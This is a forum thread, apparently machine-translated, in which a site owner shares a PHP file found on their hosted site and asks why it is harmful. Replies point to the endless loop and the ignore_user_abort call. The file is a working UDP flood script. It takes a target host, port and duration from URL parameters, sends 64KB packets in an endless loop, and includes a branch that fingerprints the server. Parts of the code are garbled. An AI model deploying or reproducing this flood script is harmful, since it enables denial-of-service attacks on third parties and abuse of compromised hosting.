Why is this file destructive to the website? PHPcode & lt ;? Phpset_time_limit (999999); $ host $ _ GET [host]; $ port $ _ GET [port]; $ exec_time $ _ GET [time]; $ Sendlen65535; $ packets0; ignore_user_abort (T. can you tell me why this file is destructive to the website?
PHP code
0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Warning to: opening"; exit; }for($i=0;$i<$Sendlen;$i++){ $out .= "A"; }$max_time = time()+$exec_time;while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); }}echo "Send Host:$host:$port
";echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb
";echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";?>
------ Solution --------------------
The target server's network is constantly sending spam packets. Is this a mine?
------ Solution --------------------
I don't know what the landlord wants to do!
------ Solution --------------------
Where did you get this code? How can this problem be solved? What was found on the server?
------ Solution --------------------
Endless loop
------ Solution --------------------
Ignore_user_abort (True) plus an endless loop without rest
------ Solution --------------------
Discussion
Ignore_user_abort (True) plus an endless loop without rest
------ Solution --------------------
Discussion
This is a website that I have hosted in a common company in Guangzhou. the buddies of that company have a holiday with the company and they have emotions at work.
I don't think such a person is a code-writing guy with no character or professional ethics!
------ Solution --------------------
Ignore_user_abort (True); this is good!
------ Solution --------------------
Why not delete all programs and tables?
So many direct,
In the past, php server resources were consumed,
Knowledge, good,